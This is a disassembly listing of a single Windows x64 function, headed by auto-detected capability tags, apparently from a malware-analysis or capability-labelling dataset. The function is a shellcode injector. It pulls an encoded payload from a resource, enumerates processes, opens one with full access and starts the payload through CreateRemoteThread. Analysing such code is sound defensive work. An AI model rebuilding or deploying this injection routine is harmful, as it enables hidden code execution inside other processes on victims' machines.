Function at 0x140001560
Capabilities:
Create thread
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor r14d, r14d
lea rcx, str.___Trying_to_get_the_payload_from_the_source_n
mov qword [rsp + 0x40], r14
xor ebx, ebx
xor esi, esi
call fcn.140001010
mov r13d, 1
lea edx, [rbx + 0x65]
xor ecx, ecx
lea r8d, [r14 + 0xa]
mov edi, r13d
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
test rax, rax
jne 0x14000160b
lea rcx, str.____Failed_to_find_the_resource..._n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001840
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
jne 0x140001627
lea rcx, str.____Failed_to_load_the_resource..._n
jmp 0x1400015d0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
jne 0x14000164c
lea rcx, str.____Failed_to_lock_the_resource..._n
call fcn.140001010
xor r12d, r12d
mov edi, r12d
jmp 0x140001675
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test eax, eax
jne 0x140001672
lea rcx, str.____Failed_to_fin_the_size_of_the_resource..._n
call fcn.140001010
xor r12d, r12d
mov edi, r12d
jmp 0x140001675
xor r12d, r12d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
test edi, edi
je 0x1400015d5
mov r8d, r14d
lea rcx, str.___Encoded_payload_at:_0x_p_n___Size_of_the_encoded_payload:__d_bytes_n
mov rdx, r15
call fcn.140001010
lea rcx, str.___Trying_to_get_an_handle_with_a_process_n
call fcn.140001010
xor edx, edx
mov qword [rsp + 0x50], 0x238
mov r8d, 0x20c
mov dword [rsp + 0x58], r12d
lea rcx, [rsp + 0x7c]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x78], r12d
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140001788
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001720
lea rcx, str.____Failed_to_enumerate_the_first_process..._n
call fcn.140001010
mov r13d, r12d
jmp 0x1400017a6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, dword [rsp + 0x58]
cmp r8d, eax
je 0x14000174d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x140001782
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001720
mov esi, r12d
cmp rbx, 0xffffffffffffffff
je 0x140001771
test rbx, rbx
je 0x140001771
test esi, esi
jne 0x1400017a6
lea rcx, str.____Failed_to_retrive_an_process..._n
call fcn.140001010
mov r13d, r12d
jmp 0x1400017a6
mov esi, dword [rsp + 0x58]
jmp 0x14000176d
lea rcx, str.____Failed_to_snap_processes..._n
call fcn.140001010
mov rbx, r12
mov esi, r12d
mov r13d, r12d
test rbp, rbp
je 0x1400015d5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13d, r13d
je 0x1400015d5
mov edx, esi
lea rcx, str.___Remote_handle_gained_with_PID:__d_n
call fcn.140001010
mov r9d, r14d
lea rdx, [rsp + 0x40]
mov r8, r15
mov rcx, rbx
call fcn.140001360
test eax, eax
je 0x1400015d5
mov r9, qword [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], r12d
mov rcx, rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140001815
lea rcx, str.____Failed_to_start_new_thread..._n
jmp 0x1400015d0
test rax, rax
je 0x140001823
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400015da